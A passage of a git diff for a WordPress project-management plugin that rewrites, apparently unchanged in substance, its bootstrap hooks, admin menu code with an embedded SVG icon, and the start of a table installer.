- 'text/plain' => 'text.png', - 'application/zip' => 'archive.svg', - 'text/csv' => 'csv.svg', - 'application/vnd.ms-powerpoint' => 'ppt.png', - 'application/vnd.rar' => 'archive.svg' - ]; - - if ( array_key_exists( $mime, $exist_mime ) ) { - return $icon = $folder . $exist_mime[$mime]; - } - - $icon = str_replace( get_bloginfo( 'wpurl' ) . '/wp-includes/images/media/', $folder, $icon ); - - return $icon; - } - - function cron_interval( $schedules ) { - // Adds every 5 minutes to the existing schedules. - $schedules[ 'pm_schedule' ] = array( - 'interval' => MINUTE_IN_SECONDS * 1, - 'display' => sprintf( __( 'Every %d Minutes PM schedule', 'wedevs-project-manager' ), 1 ), - ); - - return $schedules; - } - - function project_text_editor($config) { - $config['external_plugins']['placeholder'] = config('frontend.assets_url') . 'vendor/tinymce/plugins/placeholder/plugin.min.js'; - $config['plugins'] = 'placeholder textcolor colorpicker wplink wordpress'; - return $config; -} - - /** - * instantiate classes - * - * @return void - */ - public function instantiate() { - Notification::init_transactional_emails(); - new Upgrade(); - new Offers(); - new Profile_Update(); - //new Promotions(); - //new ImportTrello(); - //new ImportAsana(); - //new ImportActivecollab(); - new Admin_Notice(); - new Pusher(); - } - - public function register_scripts() { - Register_Scripts::scripts(); - Register_Scripts::styles(); - } - - /** - * Plugin action links - * - * @param array $links - * - * @return array - */ - function plugin_action_links( $links ) { - global $wedevs_pm_pro; - - if ( !$wedevs_pm_pro ) { - $links[] = '' . __( 'Get Pro', 'wedevs-project-manager' ) . ''; - } - - $links[] = '' . __( 'Settings', 'wedevs-project-manager' ) . ''; - $links[] = '' . __( 'Documentation', 'wedevs-project-manager' ) . ''; - - return $links; - } - - /** - * Upgrade notice - * - * @param stdClass $current - * @param stdClass $new - * - * @return void - */ - public function upgrade_notice( $current, $new_version ) { - - if ( isset( $new_version->upgrade_notice ) && strlen( trim( $new_version->upgrade_notice ) ) > 0 ) { - echo esc_html('
'. $new_version->upgrade_notice . '
'); - } - } - - public function switch_project_html() { - wp_enqueue_script( 'pmglobal' ); - wp_enqueue_style( 'pmglobal' ); - wp_localize_script( 'pmglobal', 'PM_Global_Vars',[ - 'rest_url' => home_url() .'/'.rest_get_url_prefix(), - 'project_page' => pm_get_project_page(), - 'permission' => wp_create_nonce('wp_rest'), - 'api_base_url' => esc_url_raw( get_rest_url() ), - 'api_namespace' => pm_api_namespace(), - 'permalinkStructure' => get_option( 'permalink_structure' ), - ]); - - require_once pm_config('frontend.view_path') . '/project-switch/project-switch.php'; - } - - public function new_task_craeting() { - require_once pm_config('frontend.view_path') . '/project-switch/task-creating.php'; - } - - public function pm_toolbar_new_task_creating ($wp_admin_bar) { - $wp_admin_bar->add_node( - [ - 'id' => 'pm_create_task', - 'title' => '', - 'href' => '#', - 'parent' => 'top-secondary', - 'meta' => [ - 'title' => __('Create New Task', 'wedevs-project-manager'), - ] - - ] - ); - - $wp_admin_bar->add_node( - [ - 'id' => 'pm_new_create_task', - 'title' => 'Task', - 'href' => '#', - 'parent' => 'new-content', - 'meta' => [ - 'title' => __('Create New Task', 'wedevs-project-manager'), - ] - - ] - ); - } - - - public function pm_toolbar_search_button($wp_admin_bar) { - $wp_admin_bar->add_node( - [ - 'id' => 'pm_search', - 'title' => '', - 'href' => '#', - 'parent' => 'top-secondary', - 'meta' => [ - 'title' => __('Jump to a project', 'wedevs-project-manager'), - ] - - ] - ); - } - - public function custom_upload_mimes ( $existing_mimes ) { - $existing_mimes['psd'] = 'image/vnd.adobe.photoshop'; - - return $existing_mimes; - } - - public function redirect_after_activate() { - - if ( ! apply_filters( 'pm_welcome_page_redirect', get_transient( '_pm_setup_page_redirect' ) ) ) { - return; - } - - // Delete the redirect transient - delete_transient( '_pm_setup_page_redirect' ); - - wp_safe_redirect( add_query_arg( array( 'page' => 'pm_projects#/welcome' ), admin_url( 'index.php' ) ) ); - exit; - } -} +includes(); + + // instantiate classes + $this->instantiate(); + + // Initialize the action hooks + $this->init_actions(); + + // Initialize the action hooks + $this->init_filters(); + + //Execute only plugin install time + register_activation_hook( PM_FILE, array( $this, 'install' ) ); + } + + public function install() { + if ( is_multisite() && is_network_admin() ) { + $sites = get_sites(); + + foreach ( $sites as $key => $site ) { + $this->after_insert_site( $site ); + } + } else { + $this->run_install(); + } + } + + public function run_install() { + ( new Installer )->do_install(); + } + + /** + * All actions + * + * @return void + */ + public function init_actions() { + add_action( 'plugins_loaded', array( $this, 'seed' ), 10 ); + add_action( 'admin_menu', array( new Menu, 'admin_menu' ) ); + add_action( 'pm_menu_before_load_scripts', array( new Pro_Menu, 'admin_menu' ) ); + add_action( 'wp_ajax_pm_ajax_upload', array ( new File_System, 'ajax_upload_file' ) ); + add_action( 'init', array ( 'WeDevs\PM\Core\Notifications\Notification' , 'init_transactional_emails' ) ); + add_action( 'admin_enqueue_scripts', array ( $this, 'register_scripts' ) ); + add_action( 'wp_enqueue_scripts', array ( $this, 'register_scripts' ) ); + add_action( 'plugins_loaded', array( $this, 'load_plugin_textdomain' ) ); + add_action( 'plugins_loaded', array( $this, 'pm_content_filter' ) ); + add_action( 'plugins_loaded', array( $this, 'pm_content_filter_url' ) ); + add_filter( 'plugin_action_links_' . PM_BASENAME , array( $this, 'plugin_action_links' ) ); + add_filter( 'in_plugin_update_message-' . PM_BASENAME , array( $this, 'upgrade_notice' ), 10, 2 ); + add_action( 'admin_footer', array( $this, 'switch_project_html' ) ); + add_action( 'admin_init', array( $this, 'redirect_after_activate' ) ); + add_action( 'admin_bar_menu', array( $this, 'pm_toolbar_search_button' ), 999); + add_action( 'wp_initialize_site', [ $this, 'after_insert_site' ], 10 ); + + add_action( 'admin_init', array( $this, 'test' ) ); + } + + function test() { + + $current_time = new \DateTimeImmutable( 'now', new \DateTimeZone('America/New_York') ); + + } + + function after_insert_site( $new_sites ) { + switch_to_blog( $new_sites->blog_id ); + + $this->run_install(); + + restore_current_blog(); + } + + function seed() { + Upgrade::create_tables(); + } + + function pm_content_filter() { + add_filter( 'pm_get_content', 'wptexturize' ); + add_filter( 'pm_get_content', 'convert_smilies' ); + add_filter( 'pm_get_content', 'convert_chars' ); + add_filter( 'pm_get_content', 'wpautop' ); + add_filter( 'pm_get_content', 'shortcode_unautop' ); + add_filter( 'pm_get_content', 'prepend_attachment' ); + add_filter( 'pm_get_content', 'make_clickable' ); + //add_filter('all_plugins', [ $this, 'hide_plugin_form_admin_network' ] ); + } + + function hide_plugin_form_admin_network( $plugins ) { + if ( is_network_admin() ) { + foreach ( $plugins as $key => $plugin ) { + if ( $plugin['TextDomain'] == 'wedevs-project-manager' ) { + unset( $plugins[$key] ); + } + + if ( $plugin['TextDomain'] == 'pm-pro' ) { + unset( $plugins[$key] ); + } + } + } + + return $plugins; + } + + function pm_content_filter_url() { + add_filter( 'pm_get_content_url', 'make_clickable' ); + } + + function load_plugin_textdomain() { + load_plugin_textdomain( 'wedevs-project-manager', false, config('frontend.basename') . '/languages/' ); + } + + public function includes() { + // cli command + if ( defined('WP_CLI') && WP_CLI ) { + $file = config( 'frontend.patch' ) . '/core/cli/Commands.php'; + + //if ( file_exists( $file ) ) { + new Commands(); + //} + } + } + + /** + * All filters + * + * @return void + */ + public function init_filters() { + add_filter( 'upload_mimes', [$this, 'cc_mime_types'] ); + add_filter( 'wp_mime_type_icon', [$this, 'change_mime_icon'], 10, 3 ); + add_filter( 'todo_list_text_editor', [$this, 'project_text_editor'] ); + add_filter( 'upload_mimes', [$this, 'custom_upload_mimes']); + add_filter( 'appsero_custom_deactivation_reasons', [ $this, 'custom_deactivation_reason' ] ); + } + + function custom_deactivation_reason( $reasons ) { + $reasons[] = array( + 'id' => 'temporary_deactivation', + 'text' => __( 'Temporary deactivation', 'wedevs-project-manager' ), + 'placeholder' => __( 'Are you facing any problem?', 'wedevs-project-manager' ), + 'icon' => '' + ); + + $reasons[] = array( + 'id' => 'found_error', + 'text' => __( 'Found an Error', 'wedevs-project-manager' ), + 'placeholder' => __( 'Please tell us more about the error. We\'ll reach you with the possible solution.', 'wedevs-project-manager' ), + 'icon' => '', + ); + + $reasons[] = array( + 'id' => 'not_documented', + 'text' => __( 'No proper documentation', 'wedevs-project-manager' ), + 'placeholder' => __( 'Could you tell us a bit more?', 'wedevs-project-manager' ), + 'icon' => '', + ); + + return $reasons; + } + + function cc_mime_types( $mimes ) { + $mimes['svg'] = 'image/svg+xml'; + return $mimes; + } + + function change_mime_icon( $icon, $mime = null, $post_id = null ) { + $assets_url = config('frontend.assets_url'); + $folder = $assets_url . 'images/icons/'; + $exist_mime = [ + 'application/pdf' => 'pdf.png', + 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => 'document.png', + 'application/msword' => 'document.png', + 'application/application/vnd.ms-excel' => 'spreadsheet.png', + 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' => 'spreadsheet.png', + 'text/plain' => 'text.png', + 'application/zip' => 'archive.svg', + 'text/csv' => 'csv.svg', + 'application/vnd.ms-powerpoint' => 'ppt.png', + 'application/vnd.rar' => 'archive.svg' + ]; + + if ( array_key_exists( $mime, $exist_mime ) ) { + return $icon = $folder . $exist_mime[$mime]; + } + + $icon = str_replace( get_bloginfo( 'wpurl' ) . '/wp-includes/images/media/', $folder, $icon ); + + return $icon; + } + + function cron_interval( $schedules ) { + // Adds every 5 minutes to the existing schedules. + $schedules[ 'pm_schedule' ] = array( + 'interval' => MINUTE_IN_SECONDS * 1, + 'display' => sprintf( __( 'Every %d Minutes PM schedule', 'wedevs-project-manager' ), 1 ), + ); + + return $schedules; + } + + function project_text_editor($config) { + $config['external_plugins']['placeholder'] = config('frontend.assets_url') . 'vendor/tinymce/plugins/placeholder/plugin.min.js'; + $config['plugins'] = 'placeholder textcolor colorpicker wplink wordpress'; + return $config; +} + + /** + * instantiate classes + * + * @return void + */ + public function instantiate() { + Notification::init_transactional_emails(); + new Upgrade(); + new Offers(); + new Profile_Update(); + //new Promotions(); + //new ImportTrello(); + //new ImportAsana(); + //new ImportActivecollab(); + new Admin_Notice(); + new Pusher(); + } + + public function register_scripts() { + Register_Scripts::scripts(); + Register_Scripts::styles(); + } + + /** + * Plugin action links + * + * @param array $links + * + * @return array + */ + function plugin_action_links( $links ) { + global $wedevs_pm_pro; + + if ( !$wedevs_pm_pro ) { + $links[] = '' . __( 'Get Pro', 'wedevs-project-manager' ) . ''; + } + + $links[] = '' . __( 'Settings', 'wedevs-project-manager' ) . ''; + $links[] = '' . __( 'Documentation', 'wedevs-project-manager' ) . ''; + + return $links; + } + + /** + * Upgrade notice + * + * @param stdClass $current + * @param stdClass $new + * + * @return void + */ + public function upgrade_notice( $current, $new_version ) { + + if ( isset( $new_version->upgrade_notice ) && strlen( trim( $new_version->upgrade_notice ) ) > 0 ) { + echo esc_html('
'. $new_version->upgrade_notice . '
'); + } + } + + public function switch_project_html() { + wp_enqueue_script( 'pmglobal' ); + wp_enqueue_style( 'pmglobal' ); + wp_localize_script( 'pmglobal', 'PM_Global_Vars',[ + 'rest_url' => home_url() .'/'.rest_get_url_prefix(), + 'project_page' => pm_get_project_page(), + 'permission' => wp_create_nonce('wp_rest'), + 'api_base_url' => esc_url_raw( get_rest_url() ), + 'api_namespace' => pm_api_namespace(), + 'permalinkStructure' => get_option( 'permalink_structure' ), + ]); + + require_once pm_config('frontend.view_path') . '/project-switch/project-switch.php'; + } + + public function new_task_craeting() { + require_once pm_config('frontend.view_path') . '/project-switch/task-creating.php'; + } + + public function pm_toolbar_new_task_creating ($wp_admin_bar) { + $wp_admin_bar->add_node( + [ + 'id' => 'pm_create_task', + 'title' => '', + 'href' => '#', + 'parent' => 'top-secondary', + 'meta' => [ + 'title' => __('Create New Task', 'wedevs-project-manager'), + ] + + ] + ); + + $wp_admin_bar->add_node( + [ + 'id' => 'pm_new_create_task', + 'title' => 'Task', + 'href' => '#', + 'parent' => 'new-content', + 'meta' => [ + 'title' => __('Create New Task', 'wedevs-project-manager'), + ] + + ] + ); + } + + + public function pm_toolbar_search_button($wp_admin_bar) { + $wp_admin_bar->add_node( + [ + 'id' => 'pm_search', + 'title' => '', + 'href' => '#', + 'parent' => 'top-secondary', + 'meta' => [ + 'title' => __('Jump to a project', 'wedevs-project-manager'), + ] + + ] + ); + } + + public function custom_upload_mimes ( $existing_mimes ) { + $existing_mimes['psd'] = 'image/vnd.adobe.photoshop'; + + return $existing_mimes; + } + + public function redirect_after_activate() { + + if ( ! apply_filters( 'pm_welcome_page_redirect', get_transient( '_pm_setup_page_redirect' ) ) ) { + return; + } + + // Delete the redirect transient + delete_transient( '_pm_setup_page_redirect' ); + + wp_safe_redirect( add_query_arg( array( 'page' => 'pm_projects#/welcome' ), admin_url( 'index.php' ) ) ); + exit; + } +} diff --git a/core/WP/Menu.php b/core/WP/Menu.php index a1aa20608..628fd7b21 100644 --- a/core/WP/Menu.php +++ b/core/WP/Menu.php @@ -1,96 +1,96 @@ -' . $active_task . '' ); - $submenu[$slug][] = [ $mytask_text , self::$capability, "admin.php?page={$slug}#/my-tasks" ]; - - if ( pm_user_can_access( pm_manager_cap_slug() ) ) { - $submenu[$slug][] = [ __( 'Categories', 'wedevs-project-manager' ), self::$capability, "admin.php?page={$slug}#/categories" ]; - } - - do_action( 'pm_menu_before_load_scripts', $home ); - - add_action( 'admin_print_styles-' . $home, array( 'WeDevs\\PM\\Core\\WP\\Menu', 'scripts' ) ); - - do_action( 'cpm_admin_menu', self::$capability, $home ); - - if ( ! $wedevs_pm_pro ) { - $submenu[$slug][] = [ __( 'Premium', 'wedevs-project-manager' ), self::$capability, "admin.php?page={$slug}#/premium" ]; - } - - if ( pm_has_admin_capability() ) { - $submenu[$slug][] = [ __( 'Settings', 'wedevs-project-manager' ), self::$capability, "admin.php?page={$slug}#/settings" ]; - } - - if ( pm_user_can_access( pm_manager_cap_slug() ) ) { - $submenu[$slug]['importtools'] = [ __( 'Tools', 'wedevs-project-manager' ), self::$capability, "admin.php?page={$slug}#/importtools" ]; - } - - do_action( 'pm_menu_after_load_scripts', $home ); - } - - public static function pm_svg() { - return 'data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB3aWR0aD0iMThweCIgaGVpZ2h0PSIxOXB4IiB2aWV3Qm94PSIwIDAgMTggMTkiIHZlcnNpb249IjEuMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI+CiAgICA8IS0tIEdlbmVyYXRvcjogU2tldGNoIDUyLjMgKDY3Mjk3KSAtIGh0dHA6Ly93d3cuYm9oZW1pYW5jb2RpbmcuY29tL3NrZXRjaCAtLT4KICAgIDx0aXRsZT5JY29uIHdoaXRlPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGcgaWQ9IlBhZ2UtMSIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+CiAgICAgICAgPGcgaWQ9IjQtUHJvamVjdC1MaXN0LVBhZ2UtRGVzaWduLVByb2plY3QtRmlsdGVyaW5nIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtOTYuMDAwMDAwLCAtMTI3LjAwMDAwMCkiIGZpbGw9IiNGRkZGRkYiIGZpbGwtcnVsZT0ibm9uemVybyI+CiAgICAgICAgICAgIDxnIGlkPSJJY29uLXdoaXRlIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSg5Ni4wMDAwMDAsIDEyNy4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxnIGlkPSJJY29uIj4KICAgICAgICAgICAgICAgICAgICA8cGF0aCBkPSJNNS4wNywxNC4wNDk3Mjk3IEM1LjM2MTc1Mjg2LDE0LjI5Nzg1NTggNS41NDE4MjA0NCwxNC42NTc4ODA1IDUuNTY4MjcxNjMsMTUuMDQ1OTY3NSBDNS41OTQ3MjI4MiwxNS40MzQwNTQ1IDUuNDY1MjQ5MDUsMTUuODE2MzMyOCA1LjIxLDE2LjEwMzc4MzggQzQuNzA4MTE2MywxNi42NzA2NyAzLjg1OTIxNDY1LDE2LjcyNzQzMDcgMy4yOSwxNi4yMzIxNjIyIEMwLjg0MDQ0MjU4NSwxNC4wOTIxODQyIC0wLjMxNzc0MDA0MywxMC43NzY4MDk0IDAuMjQ4NDc0OTc4LDcuNTI1NTk0MzkgQzAuODE0NjksNC4yNzQzNzkzOSAzLjAyMDA0NTQxLDEuNTc2ODcyNjcgNi4wNCwwLjQ0MTYyMTYyMiBMNy43MzUsMi44ODA4MTA4MSBMOC42MTUsNC4yMDU2NzU2OCBMNi44MTUsNi42NSBMNS4xNDUsNC4xOTAyNzAyNyBDMy43MTI5MzE1MSw1LjQwMTM1MjU1IDIuODc3MDk0NzEsNy4yMDE5NzE3NyAyLjg2MjYxNzM0LDkuMTA3MTQxNzMgQzIuODQ4MTM5OTcsMTEuMDEyMzExNyAzLjY1NjUxMDgzLDEyLjgyNjEwOTcgNS4wNywxNC4wNiBMNS4wNywxNC4wNDk3Mjk3IFoiIGlkPSJTaGFwZSI+PC9wYXRoPgogICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0xNC43NiwxNi40NjMyNDMyIEMxNC4zODMwODQ4LDE2Ljc5MDcyMDcgMTMuODY0NjkxMiwxNi44ODY4MDU4IDEzLjQwMDA5MzEsMTYuNzE1MzA0MiBDMTIuOTM1NDk1LDE2LjU0MzgwMjcgMTIuNTk1Mjc1OSwxNi4xMzA3Njk2IDEyLjUwNzU5MzEsMTUuNjMxNzkwNiBDMTIuNDE5OTEwMiwxNS4xMzI4MTE3IDEyLjU5ODA4NDcsMTQuNjIzNjkzNiAxMi45NzUsMTQuMjk2MjE2MiBDMTQuMzc0Mzc5MSwxMy4wNjY4OTQ1IDE1LjE3NjI4OTIsMTEuMjY3NTM0MSAxNS4xNjc2MjEzLDkuMzc2MzE4MzkgQzE1LjE1ODk1MzQsNy40ODUxMDI2OSAxNC4zNDA1ODU0LDUuNjkzNTc1MjYgMTIuOTMsNC40Nzc4Mzc4NCBMMTAuNjgsNy43MDI3MDI3IEwxMC4zMiw4LjIxNjIxNjIyIEwxMC4zMiwxNy4yMDc4Mzc4IEMxMC4zMjI3OTEyLDE4LjAxMjEzNjEgOS42OTMwOTQyLDE4LjY2ODAyNTIgOC45MSwxOC42NzY0ODY1IEw4Ljg4LDE4LjY3NjQ4NjUgQzguMDk2OTA1OCwxOC42NjgwMjUyIDcuNDY3MjA4ODEsMTguMDEyMTM2MSA3LjQ3LDE3LjIwNzgzNzggTDcuNDcsOS42OSBMNy40Nyw4LjEwODM3ODM4IEw3LjQ3LDcuMzIyNzAyNyBMMTIuMDY1LDAuNzEzNzgzNzg0IEMxNS4wNjkwMjc4LDEuODU4MzcyIDE3LjI1NzUyODksNC41NTIxNDY5MyAxNy44MTU5Mzc1LDcuNzkyNDc4MzQgQzE4LjM3NDM0NiwxMS4wMzI4MDk4IDE3LjIxOTAyOTUsMTQuMzM0Mzk2MiAxNC43OCwxNi40NjgzNzg0IEwxNC43NiwxNi40NjMyNDMyIFoiIGlkPSJTaGFwZSI+PC9wYXRoPgogICAgICAgICAgICAgICAgPC9nPgogICAgICAgICAgICA8L2c+CiAgICAgICAgPC9nPgogICAgICAgIDxnIGlkPSJQYWdlIj48L2c+CiAgICA8L2c+Cjwvc3ZnPgoK'; - } - - public static function scripts() { - Enqueue_Scripts::scripts(); - Enqueue_Scripts::styles(); - } - - public static function my_task_count () { - $today = date( 'Y-m-d', strtotime( current_time( 'mysql' ) ) ); - $user_id = get_current_user_id(); - - $project_ids = User_Role::where( 'user_id', $user_id)->get(['project_id'])->toArray(); - $project_ids = wp_list_pluck( $project_ids, 'project_id' ); - - if ( pm_has_manage_capability() ){ - $tasks = User::find( $user_id ) - ->tasks() - ->whereHas('boards') - ->parent() - ->where( pm_tb_prefix() . 'pm_tasks.status', 0) - ->whereIn( pm_tb_prefix() . 'pm_tasks.project_id', $project_ids) - ->get(); - }else{ - $tasks = User::find( $user_id )->tasks() - ->parent() - ->where( pm_tb_prefix() . 'pm_tasks.status', 0) - ->whereIn( pm_tb_prefix() . 'pm_tasks.project_id', $project_ids) - ->doesntHave( 'metas', 'and', function ($query) { - $query->where( 'meta_key', '=', 'privacy' ) - ->where( 'meta_value', '!=', '0' ); - - }); - - $tasks = $tasks->doesntHave( 'task_lists.metas', 'and', function ($query) { - $query->where( 'meta_key', '=', 'privacy' ) - ->where( 'meta_value', '!=', '0' ); - - })->get(); - } - - return $tasks->count(); - } -} +' . $active_task . '' ); + $submenu[$slug][] = [ $mytask_text , self::$capability, "admin.php?page={$slug}#/my-tasks" ]; + + if ( pm_user_can_access( pm_manager_cap_slug() ) ) { + $submenu[$slug][] = [ __( 'Categories', 'wedevs-project-manager' ), self::$capability, "admin.php?page={$slug}#/categories" ]; + } + + do_action( 'pm_menu_before_load_scripts', $home ); + + add_action( 'admin_print_styles-' . $home, array( 'WeDevs\\PM\\Core\\WP\\Menu', 'scripts' ) ); + + do_action( 'cpm_admin_menu', self::$capability, $home ); + + if ( ! $wedevs_pm_pro ) { + $submenu[$slug][] = [ __( 'Premium', 'wedevs-project-manager' ), self::$capability, "admin.php?page={$slug}#/premium" ]; + } + + if ( pm_has_admin_capability() ) { + $submenu[$slug][] = [ __( 'Settings', 'wedevs-project-manager' ), self::$capability, "admin.php?page={$slug}#/settings" ]; + } + + if ( pm_user_can_access( pm_manager_cap_slug() ) ) { + $submenu[$slug]['importtools'] = [ __( 'Tools', 'wedevs-project-manager' ), self::$capability, "admin.php?page={$slug}#/importtools" ]; + } + + do_action( 'pm_menu_after_load_scripts', $home ); + } + + public static function pm_svg() { + return 'data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB3aWR0aD0iMThweCIgaGVpZ2h0PSIxOXB4IiB2aWV3Qm94PSIwIDAgMTggMTkiIHZlcnNpb249IjEuMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI+CiAgICA8IS0tIEdlbmVyYXRvcjogU2tldGNoIDUyLjMgKDY3Mjk3KSAtIGh0dHA6Ly93d3cuYm9oZW1pYW5jb2RpbmcuY29tL3NrZXRjaCAtLT4KICAgIDx0aXRsZT5JY29uIHdoaXRlPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGcgaWQ9IlBhZ2UtMSIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+CiAgICAgICAgPGcgaWQ9IjQtUHJvamVjdC1MaXN0LVBhZ2UtRGVzaWduLVByb2plY3QtRmlsdGVyaW5nIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtOTYuMDAwMDAwLCAtMTI3LjAwMDAwMCkiIGZpbGw9IiNGRkZGRkYiIGZpbGwtcnVsZT0ibm9uemVybyI+CiAgICAgICAgICAgIDxnIGlkPSJJY29uLXdoaXRlIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSg5Ni4wMDAwMDAsIDEyNy4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxnIGlkPSJJY29uIj4KICAgICAgICAgICAgICAgICAgICA8cGF0aCBkPSJNNS4wNywxNC4wNDk3Mjk3IEM1LjM2MTc1Mjg2LDE0LjI5Nzg1NTggNS41NDE4MjA0NCwxNC42NTc4ODA1IDUuNTY4MjcxNjMsMTUuMDQ1OTY3NSBDNS41OTQ3MjI4MiwxNS40MzQwNTQ1IDUuNDY1MjQ5MDUsMTUuODE2MzMyOCA1LjIxLDE2LjEwMzc4MzggQzQuNzA4MTE2MywxNi42NzA2NyAzLjg1OTIxNDY1LDE2LjcyNzQzMDcgMy4yOSwxNi4yMzIxNjIyIEMwLjg0MDQ0MjU4NSwxNC4wOTIxODQyIC0wLjMxNzc0MDA0MywxMC43NzY4MDk0IDAuMjQ4NDc0OTc4LDcuNTI1NTk0MzkgQzAuODE0NjksNC4yNzQzNzkzOSAzLjAyMDA0NTQxLDEuNTc2ODcyNjcgNi4wNCwwLjQ0MTYyMTYyMiBMNy43MzUsMi44ODA4MTA4MSBMOC42MTUsNC4yMDU2NzU2OCBMNi44MTUsNi42NSBMNS4xNDUsNC4xOTAyNzAyNyBDMy43MTI5MzE1MSw1LjQwMTM1MjU1IDIuODc3MDk0NzEsNy4yMDE5NzE3NyAyLjg2MjYxNzM0LDkuMTA3MTQxNzMgQzIuODQ4MTM5OTcsMTEuMDEyMzExNyAzLjY1NjUxMDgzLDEyLjgyNjEwOTcgNS4wNywxNC4wNiBMNS4wNywxNC4wNDk3Mjk3IFoiIGlkPSJTaGFwZSI+PC9wYXRoPgogICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0xNC43NiwxNi40NjMyNDMyIEMxNC4zODMwODQ4LDE2Ljc5MDcyMDcgMTMuODY0NjkxMiwxNi44ODY4MDU4IDEzLjQwMDA5MzEsMTYuNzE1MzA0MiBDMTIuOTM1NDk1LDE2LjU0MzgwMjcgMTIuNTk1Mjc1OSwxNi4xMzA3Njk2IDEyLjUwNzU5MzEsMTUuNjMxNzkwNiBDMTIuNDE5OTEwMiwxNS4xMzI4MTE3IDEyLjU5ODA4NDcsMTQuNjIzNjkzNiAxMi45NzUsMTQuMjk2MjE2MiBDMTQuMzc0Mzc5MSwxMy4wNjY4OTQ1IDE1LjE3NjI4OTIsMTEuMjY3NTM0MSAxNS4xNjc2MjEzLDkuMzc2MzE4MzkgQzE1LjE1ODk1MzQsNy40ODUxMDI2OSAxNC4zNDA1ODU0LDUuNjkzNTc1MjYgMTIuOTMsNC40Nzc4Mzc4NCBMMTAuNjgsNy43MDI3MDI3IEwxMC4zMiw4LjIxNjIxNjIyIEwxMC4zMiwxNy4yMDc4Mzc4IEMxMC4zMjI3OTEyLDE4LjAxMjEzNjEgOS42OTMwOTQyLDE4LjY2ODAyNTIgOC45MSwxOC42NzY0ODY1IEw4Ljg4LDE4LjY3NjQ4NjUgQzguMDk2OTA1OCwxOC42NjgwMjUyIDcuNDY3MjA4ODEsMTguMDEyMTM2MSA3LjQ3LDE3LjIwNzgzNzggTDcuNDcsOS42OSBMNy40Nyw4LjEwODM3ODM4IEw3LjQ3LDcuMzIyNzAyNyBMMTIuMDY1LDAuNzEzNzgzNzg0IEMxNS4wNjkwMjc4LDEuODU4MzcyIDE3LjI1NzUyODksNC41NTIxNDY5MyAxNy44MTU5Mzc1LDcuNzkyNDc4MzQgQzE4LjM3NDM0NiwxMS4wMzI4MDk4IDE3LjIxOTAyOTUsMTQuMzM0Mzk2MiAxNC43OCwxNi40NjgzNzg0IEwxNC43NiwxNi40NjMyNDMyIFoiIGlkPSJTaGFwZSI+PC9wYXRoPgogICAgICAgICAgICAgICAgPC9nPgogICAgICAgICAgICA8L2c+CiAgICAgICAgPC9nPgogICAgICAgIDxnIGlkPSJQYWdlIj48L2c+CiAgICA8L2c+Cjwvc3ZnPgoK'; + } + + public static function scripts() { + Enqueue_Scripts::scripts(); + Enqueue_Scripts::styles(); + } + + public static function my_task_count () { + $today = date( 'Y-m-d', strtotime( current_time( 'mysql' ) ) ); + $user_id = get_current_user_id(); + + $project_ids = User_Role::where( 'user_id', $user_id)->get(['project_id'])->toArray(); + $project_ids = wp_list_pluck( $project_ids, 'project_id' ); + + if ( pm_has_manage_capability() ){ + $tasks = User::find( $user_id ) + ->tasks() + ->whereHas('boards') + ->parent() + ->where( pm_tb_prefix() . 'pm_tasks.status', 0) + ->whereIn( pm_tb_prefix() . 'pm_tasks.project_id', $project_ids) + ->get(); + }else{ + $tasks = User::find( $user_id )->tasks() + ->parent() + ->where( pm_tb_prefix() . 'pm_tasks.status', 0) + ->whereIn( pm_tb_prefix() . 'pm_tasks.project_id', $project_ids) + ->doesntHave( 'metas', 'and', function ($query) { + $query->where( 'meta_key', '=', 'privacy' ) + ->where( 'meta_value', '!=', '0' ); + + }); + + $tasks = $tasks->doesntHave( 'task_lists.metas', 'and', function ($query) { + $query->where( 'meta_key', '=', 'privacy' ) + ->where( 'meta_value', '!=', '0' ); + + })->get(); + } + + return $tasks->count(); + } +} diff --git a/core/WP/Output.php b/core/WP/Output.php index b4160fa24..40a777270 100644 --- a/core/WP/Output.php +++ b/core/WP/Output.php @@ -1,10 +1,10 @@ -create_project_table(); - $this->create_tasks_table(); - $this->create_activity_table(); - $this->create_assignees_table(); - $this->create_boardables_table(); - $this->create_boards_table(); - $this->create_categories_table(); - $this->create_category_project_table(); - $this->create_comments_table(); - $this->create_files_table(); - $this->create_meta_table(); - $this->create_roles_table(); - $this->create_role_user_table(); - $this->create_settings_table(); - $this->create_import_table(); - $this->crate_capabilities_table(); - $this->crate_role_projects_table(); - $this->crate_role_project_capabilities_table(); - $this->crate_role_project_users_table(); - $this->update_version(); - $this->task_types(); - } - - private function prefix() { - global $wpdb; - - return $wpdb->prefix; - } - - private function task_types() { - global $wpdb; - $table_name = $wpdb->prefix . 'pm_task_types'; - - //`status` inactive: 0, active: 1 - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `title` varchar(255) NOT NULL, - `description` text, - `type` varchar(255) NOT NULL, - `status` tinyint(4) NOT NULL DEFAULT 0, - `created_by` int(11) 